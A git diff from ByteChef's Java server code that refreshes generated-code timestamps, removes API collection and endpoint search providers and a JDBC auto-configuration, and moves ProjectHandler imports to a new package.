diff --git a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/ApiCollectionTagApi.java b/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/ApiCollectionTagApi.java
index fe92e2c7255..0270a2c6b5b 100644
--- a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/ApiCollectionTagApi.java
+++ b/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/ApiCollectionTagApi.java
@@ -34,7 +34,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.404697+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.369127+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "api-collection-tag", description = "The Automation API Platform Collection Tag Internal API")
 public interface ApiCollectionTagApi {
diff --git a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/model/ApiClientModel.java b/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/model/ApiClientModel.java
index 00ff83696ed..fc5c27a8670 100644
--- a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/model/ApiClientModel.java
+++ b/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/model/ApiClientModel.java
@@ -24,7 +24,7 @@
 
 @Schema(name = "ApiClient", description = "Contains generated key required for calling API.")
 @JsonTypeName("ApiClient")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.404697+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.369127+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class ApiClientModel {
 
   private @Nullable String createdBy;
diff --git a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/model/ApiCollectionEndpointModel.java b/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/model/ApiCollectionEndpointModel.java
index 7475d5ee922..cf9911cba0b 100644
--- a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/model/ApiCollectionEndpointModel.java
+++ b/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/model/ApiCollectionEndpointModel.java
@@ -26,7 +26,7 @@
 
 @Schema(name = "ApiCollectionEndpoint", description = "An API collection endpoint.")
 @JsonTypeName("ApiCollectionEndpoint")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.404697+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.369127+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class ApiCollectionEndpointModel {
 
   private @Nullable Long apiCollectionId;
diff --git a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/model/ApiCollectionModel.java b/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/model/ApiCollectionModel.java
index 3d5bf783da3..fee6293ef7a 100644
--- a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/model/ApiCollectionModel.java
+++ b/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/model/ApiCollectionModel.java
@@ -29,7 +29,7 @@
 
 @Schema(name = "ApiCollection", description = "An API collection.")
 @JsonTypeName("ApiCollection")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.404697+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.369127+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class ApiCollectionModel {
 
   private @Nullable Integer collectionVersion;
diff --git a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/model/CreateApiClient200ResponseModel.java b/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/model/CreateApiClient200ResponseModel.java
index 9f91d99a1c2..728a890f277 100644
--- a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/model/CreateApiClient200ResponseModel.java
+++ b/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/model/CreateApiClient200ResponseModel.java
@@ -21,7 +21,7 @@
  */
 
 @JsonTypeName("createApiClient_200_response")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.404697+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.369127+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class CreateApiClient200ResponseModel {
 
   private @Nullable String secretKey;
diff --git a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/model/HttpMethodModel.java b/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/model/HttpMethodModel.java
index c13e35a3777..2fb79bbf986 100644
--- a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/model/HttpMethodModel.java
+++ b/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/model/HttpMethodModel.java
@@ -20,7 +20,7 @@
  * The endpoint HTTP method.
  */
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.404697+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.369127+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public enum HttpMethodModel {
   
   DELETE("DELETE"),
diff --git a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/model/TagModel.java b/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/model/TagModel.java
index 55be47689ae..3aa751a5139 100644
--- a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/model/TagModel.java
+++ b/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/model/TagModel.java
@@ -24,7 +24,7 @@
 
 @Schema(name = "Tag", description = "A tag.")
 @JsonTypeName("Tag")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.404697+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.369127+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class TagModel {
 
   private @Nullable String createdBy;
diff --git a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/model/UpdateTagsRequestModel.java b/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/model/UpdateTagsRequestModel.java
index b7b91bba336..0ec77e7fb14 100644
--- a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/model/UpdateTagsRequestModel.java
+++ b/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/model/UpdateTagsRequestModel.java
@@ -26,7 +26,7 @@
 
 @Schema(name = "UpdateTagsRequest", description = "The request object that contains the array of tags.")
 @JsonTypeName("UpdateTagsRequest")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.404697+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.369127+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class UpdateTagsRequestModel {
 
   @Valid
diff --git a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-service/build.gradle.kts b/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-service/build.gradle.kts
index 59eaa113801..94e25427c33 100644
--- a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-service/build.gradle.kts
+++ b/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-service/build.gradle.kts
@@ -1,10 +1,8 @@
 dependencies {
     implementation(libs.io.swagger.parser.v3.swagger.parser)
-    implementation("org.springframework.boot:spring-boot-autoconfigure")
     implementation("org.apache.commons:commons-lang3")
     implementation("org.springframework.data:spring-data-jdbc")
     implementation(project(":server:libs:automation:automation-configuration:automation-configuration-api"))
-    implementation(project(":server:libs:automation:automation-search:automation-search-api"))
     implementation(project(":server:libs:core:commons:commons-util"))
     implementation(project(":server:libs:core:tenant:tenant-api"))
     implementation(project(":server:libs:platform:platform-tag:platform-tag-api"))
diff --git a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-service/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/config/AutomationApiPlatformJdbcRepositoryConfiguration.java b/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-service/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/config/AutomationApiPlatformJdbcRepositoryConfiguration.java
deleted file mode 100644
index 941634670aa..00000000000
--- a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-service/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/config/AutomationApiPlatformJdbcRepositoryConfiguration.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.ee.automation.apiplatform.configuration.config;
-
-import org.springframework.boot.autoconfigure.AutoConfiguration;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnBean;
-import org.springframework.data.jdbc.repository.config.AbstractJdbcConfiguration;
-import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
-
-/**
- * @author Ivica Cardic
- */
-@AutoConfiguration(afterName = "org.springframework.boot.data.jdbc.autoconfigure.DataJdbcRepositoriesAutoConfiguration")
-@ConditionalOnBean(AbstractJdbcConfiguration.class)
-@EnableJdbcRepositories(basePackages = "com.bytechef.ee.automation.apiplatform.configuration.repository")
-class AutomationApiPlatformJdbcRepositoryConfiguration {
-}
diff --git a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-service/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/search/ApiCollectionSearchAssetProvider.java b/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-service/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/search/ApiCollectionSearchAssetProvider.java
deleted file mode 100644
index 0df7fd194ec..00000000000
--- a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-service/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/search/ApiCollectionSearchAssetProvider.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.automation.apiplatform.configuration.search;
-
-import com.bytechef.automation.search.SearchAssetProvider;
-import com.bytechef.automation.search.SearchAssetType;
-import com.bytechef.ee.automation.apiplatform.configuration.service.ApiCollectionService;
-import java.util.List;
-import java.util.Locale;
-import org.springframework.stereotype.Component;
-
-/**
- * @version ee
- *
- * @author Ivica Cardic
- */
-@Component
-class ApiCollectionSearchAssetProvider implements SearchAssetProvider {
-
-    private final ApiCollectionService apiCollectionService;
-
-    ApiCollectionSearchAssetProvider(ApiCollectionService apiCollectionService) {
-        this.apiCollectionService = apiCollectionService;
-    }
-
-    @Override
-    public List<ApiCollectionSearchResult> search(String query, int limit) {
-        String queryLower = query.toLowerCase(Locale.ROOT);
-
-        return apiCollectionService.getApiCollections(null, null, null, null)
-            .stream()
-            .filter(
-                apiCollection -> containsIgnoreCase(apiCollection.getName(), queryLower) ||
-                    containsIgnoreCase(apiCollection.getDescription(), queryLower))
-            .limit(limit)
-            .map(
-                apiCollection -> new ApiCollectionSearchResult(
-                    apiCollection.getId(), apiCollection.getName(), apiCollection.getDescription()))
-            .toList();
-    }
-
-    @Override
-    public SearchAssetType getAssetType() {
-        return SearchAssetType.API_COLLECTION;
-    }
-
-    private boolean containsIgnoreCase(String text, String query) {
-        if (text == null) {
-            return false;
-        }
-
-        return text.toLowerCase(Locale.ROOT)
-            .contains(query);
-    }
-}
diff --git a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-service/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/search/ApiCollectionSearchResult.java b/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-service/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/search/ApiCollectionSearchResult.java
deleted file mode 100644
index 817fdd4cae3..00000000000
--- a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-service/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/search/ApiCollectionSearchResult.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.automation.apiplatform.configuration.search;
-
-import com.bytechef.automation.search.SearchAssetType;
-import com.bytechef.automation.search.SearchResult;
-
-/**
- * @version ee
- *
- * @author Ivica Cardic
- */
-public record ApiCollectionSearchResult(Long id, String name, String description) implements SearchResult<Long> {
-
-    @Override
-    public SearchAssetType type() {
-        return SearchAssetType.API_COLLECTION;
-    }
-}
diff --git a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-service/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/search/ApiEndpointSearchAssetProvider.java b/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-service/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/search/ApiEndpointSearchAssetProvider.java
deleted file mode 100644
index a815edd193e..00000000000
--- a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-service/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/search/ApiEndpointSearchAssetProvider.java
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.automation.apiplatform.configuration.search;
-
-import com.bytechef.automation.search.SearchAssetProvider;
-import com.bytechef.automation.search.SearchAssetType;
-import com.bytechef.ee.automation.apiplatform.configuration.domain.ApiCollection;
-import com.bytechef.ee.automation.apiplatform.configuration.domain.ApiCollectionEndpoint;
-import com.bytechef.ee.automation.apiplatform.configuration.service.ApiCollectionEndpointService;
-import com.bytechef.ee.automation.apiplatform.configuration.service.ApiCollectionService;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Locale;
-import org.springframework.stereotype.Component;
-
-/**
- * @version ee
- *
- * @author Ivica Cardic
- */
-@Component
-class ApiEndpointSearchAssetProvider implements SearchAssetProvider {
-
-    private final ApiCollectionEndpointService apiCollectionEndpointService;
-    private final ApiCollectionService apiCollectionService;
-
-    ApiEndpointSearchAssetProvider(
-        ApiCollectionEndpointService apiCollectionEndpointService, ApiCollectionService apiCollectionService) {
-
-        this.apiCollectionEndpointService = apiCollectionEndpointService;
-        this.apiCollectionService = apiCollectionService;
-    }
-
-    @Override
-    public List<ApiEndpointSearchResult> search(String query, int limit) {
-        String queryLower = query.toLowerCase(Locale.ROOT);
-
-        List<ApiCollection> apiCollections = apiCollectionService.getApiCollections(null, null, null, null);
-
-        if (apiCollections.isEmpty()) {
-            return List.of();
-        }
-
-        List<ApiEndpointSearchResult> results = new ArrayList<>();
-
-        for (ApiCollection apiCollection : apiCollections) {
-            List<ApiCollectionEndpoint> endpoints = apiCollectionEndpointService.getApiEndpoints(apiCollection.getId());
-
-            for (ApiCollectionEndpoint endpoint : endpoints) {
-                if (containsIgnoreCase(endpoint.getName(), queryLower) ||
-                    containsIgnoreCase(endpoint.getPath(), queryLower)) {
-
-                    results.add(
-                        new ApiEndpointSearchResult(
-                            endpoint.getId(),
-                            apiCollection.getId(),
-                            endpoint.getName(),
-                            endpoint.getPath()));
-
-                    if (results.size() >= limit) {
-                        return results;
-                    }
-                }
-            }
-        }
-
-        return results;
-    }
-
-    @Override
-    public SearchAssetType getAssetType() {
-        return SearchAssetType.API_ENDPOINT;
-    }
-
-    private boolean containsIgnoreCase(String text, String query) {
-        if (text == null) {
-            return false;
-        }
-
-        return text.toLowerCase(Locale.ROOT)
-            .contains(query);
-    }
-}
diff --git a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-service/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/search/ApiEndpointSearchResult.java b/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-service/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/search/ApiEndpointSearchResult.java
deleted file mode 100644
index 821eac90519..00000000000
--- a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-service/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/search/ApiEndpointSearchResult.java
+++ /dev/null
@@ -1,30 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.automation.apiplatform.configuration.search;
-
-import com.bytechef.automation.search.SearchAssetType;
-import com.bytechef.automation.search.SearchResult;
-
-/**
- * @version ee
- *
- * @author Ivica Cardic
- */
-public record ApiEndpointSearchResult(Long id, long collectionId, String name, String path)
-    implements SearchResult<Long> {
-
-    @Override
-    public String description() {
-        return path;
-    }
-
-    @Override
-    public SearchAssetType type() {
-        return SearchAssetType.API_ENDPOINT;
-    }
-}
diff --git a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
deleted file mode 100644
index 88ce9c04da1..00000000000
--- a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
+++ /dev/null
@@ -1 +0,0 @@
-com.bytechef.ee.automation.apiplatform.configuration.config.AutomationApiPlatformJdbcRepositoryConfiguration
diff --git a/server/ee/libs/automation/automation-code-workflow-loader/build.gradle.kts b/server/ee/libs/automation/automation-code-workflow-loader/build.gradle.kts
index 32b61f46900..47933abd53e 100644
--- a/server/ee/libs/automation/automation-code-workflow-loader/build.gradle.kts
+++ b/server/ee/libs/automation/automation-code-workflow-loader/build.gradle.kts
@@ -1,5 +1,4 @@
 dependencies {
-    api(project(":sdks:backend:automation:project-api"))
     api(project(":sdks:backend:java:workflow-api"))
 
     api(project(":server:ee:libs:platform:platform-code-workflow:platform-code-workflow-configuration:platform-code-workflow-configuration-api"))
diff --git a/server/ee/libs/automation/automation-code-workflow-loader/src/main/java/com/bytechef/platform/codeworkflow/loader/automation/ProjectHandlerClassLoader.java b/server/ee/libs/automation/automation-code-workflow-loader/src/main/java/com/bytechef/platform/codeworkflow/loader/automation/ProjectHandlerClassLoader.java
index 37f1caf2f38..e28566fb3dd 100644
--- a/server/ee/libs/automation/automation-code-workflow-loader/src/main/java/com/bytechef/platform/codeworkflow/loader/automation/ProjectHandlerClassLoader.java
+++ b/server/ee/libs/automation/automation-code-workflow-loader/src/main/java/com/bytechef/platform/codeworkflow/loader/automation/ProjectHandlerClassLoader.java
@@ -7,10 +7,10 @@
 
 package com.bytechef.platform.codeworkflow.loader.automation;
 
-import com.bytechef.automation.project.ProjectHandler;
-import com.bytechef.automation.project.definition.ProjectDefinition;
 import com.bytechef.classloader.IsolatingClassLoader;
 import com.bytechef.classloader.util.ClassLoaderUtils;
+import com.bytechef.workflow.ProjectHandler;
+import com.bytechef.workflow.definition.ProjectDefinition;
 import java.net.URL;
 import java.util.ServiceLoader;
 import org.springframework.cache.CacheManager;
diff --git a/server/ee/libs/automation/automation-code-workflow-loader/src/main/java/com/bytechef/platform/codeworkflow/loader/automation/ProjectHandlerLoader.java b/server/ee/libs/automation/automation-code-workflow-loader/src/main/java/com/bytechef/platform/codeworkflow/loader/automation/ProjectHandlerLoader.java
index 18e8b6e4208..3566ace702d 100644
--- a/server/ee/libs/automation/automation-code-workflow-loader/src/main/java/com/bytechef/platform/codeworkflow/loader/automation/ProjectHandlerLoader.java
+++ b/server/ee/libs/automation/automation-code-workflow-loader/src/main/java/com/bytechef/platform/codeworkflow/loader/automation/ProjectHandlerLoader.java
@@ -7,9 +7,8 @@
 
 package com.bytechef.platform.codeworkflow.loader.automation;
 
-import com.bytechef.automation.project.ProjectHandler;
 import com.bytechef.ee.platform.codeworkflow.configuration.domain.CodeWorkflowContainer.Language;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
+import com.bytechef.workflow.ProjectHandler;
 import java.io.IOException;
 import java.net.URISyntaxException;
 import java.net.URL;
@@ -47,11 +46,6 @@ private static ProjectHandler loadJavaProjectHandler(URL url, String cacheKey, C
         }
     }
 
-    /**
-     * <b>Security Note:</b> Path traversal is intentional. The URL is derived from internal code workflow container
-     * configuration, not from untrusted user input.
-     */
-    @SuppressFBWarnings("PATH_TRAVERSAL_IN")
     private static ProjectHandler loadPolyglotProjectHandler(URL url, Language language)
         throws URISyntaxException, IOException {
 
diff --git a/server/ee/libs/automation/automation-code-workflow-loader/src/main/java/com/bytechef/platform/codeworkflow/loader/automation/ProjectHandlerPolyglotEngine.java b/server/ee/libs/automation/automation-code-workflow-loader/src/main/java/com/bytechef/platform/codeworkflow/loader/automation/ProjectHandlerPolyglotEngine.java
index 56ce3de1d1f..49751bdfb2f 100644
--- a/server/ee/libs/automation/automation-code-workflow-loader/src/main/java/com/bytechef/platform/codeworkflow/loader/automation/ProjectHandlerPolyglotEngine.java
+++ b/server/ee/libs/automation/automation-code-workflow-loader/src/main/java/com/bytechef/platform/codeworkflow/loader/automation/ProjectHandlerPolyglotEngine.java
@@ -7,11 +7,11 @@
 
 package com.bytechef.platform.codeworkflow.loader.automation;
 
-import com.bytechef.automation.project.ProjectHandler;
-import com.bytechef.automation.project.definition.ProjectDefinition;
+import com.bytechef.workflow.ProjectHandler;
 import com.bytechef.workflow.definition.Input;
 import com.bytechef.workflow.definition.Output;
 import com.bytechef.workflow.definition.Parameter;
+import com.bytechef.workflow.definition.ProjectDefinition;
 import com.bytechef.workflow.definition.TaskDefinition;
 import com.bytechef.workflow.definition.TriggerDefinition;
 import com.bytechef.workflow.definition.WorkflowDefinition;
diff --git a/server/ee/libs/automation/automation-configuration/automation-configuration-public-rest/generated/src/main/java/com/bytechef/ee/automation/configuration/public_/web/rest/ProjectCodeWorkflowApi.java b/server/ee/libs/automation/automation-configuration/automation-configuration-public-rest/generated/src/main/java/com/bytechef/ee/automation/configuration/public_/web/rest/ProjectCodeWorkflowApi.java
index c99e5fb4a13..3648d35a0aa 100644
--- a/server/ee/libs/automation/automation-configuration/automation-configuration-public-rest/generated/src/main/java/com/bytechef/ee/automation/configuration/public_/web/rest/ProjectCodeWorkflowApi.java
+++ b/server/ee/libs/automation/automation-configuration/automation-configuration-public-rest/generated/src/main/java/com/bytechef/ee/automation/configuration/public_/web/rest/ProjectCodeWorkflowApi.java
@@ -33,7 +33,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.379616+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.365839+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "project-code-workflow", description = "The Automation Project Code Workflow Public API")
 public interface ProjectCodeWorkflowApi {
diff --git a/server/ee/libs/automation/automation-configuration/automation-configuration-public-rest/generated/src/main/java/com/bytechef/ee/automation/configuration/public_/web/rest/ProjectGitApi.java b/server/ee/libs/automation/automation-configuration/automation-configuration-public-rest/generated/src/main/java/com/bytechef/ee/automation/configuration/public_/web/rest/ProjectGitApi.java
index 89d6706c5c4..d4e2583bcb6 100644
--- a/server/ee/libs/automation/automation-configuration/automation-configuration-public-rest/generated/src/main/java/com/bytechef/ee/automation/configuration/public_/web/rest/ProjectGitApi.java
+++ b/server/ee/libs/automation/automation-configuration/automation-configuration-public-rest/generated/src/main/java/com/bytechef/ee/automation/configuration/public_/web/rest/ProjectGitApi.java
@@ -32,7 +32,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.379616+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.365839+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "project-git", description = "The Automation Project Git Public API")
 public interface ProjectGitApi {
diff --git a/server/ee/libs/automation/automation-configuration/automation-configuration-remote-client/src/main/java/com/bytechef/ee/automation/configuration/remote/client/facade/RemoteWorkspaceConnectionFacadeClient.java b/server/ee/libs/automation/automation-configuration/automation-configuration-remote-client/src/main/java/com/bytechef/ee/automation/configuration/remote/client/facade/RemoteWorkspaceConnectionFacadeClient.java
index dff594224fe..398f789cfa4 100644
--- a/server/ee/libs/automation/automation-configuration/automation-configuration-remote-client/src/main/java/com/bytechef/ee/automation/configuration/remote/client/facade/RemoteWorkspaceConnectionFacadeClient.java
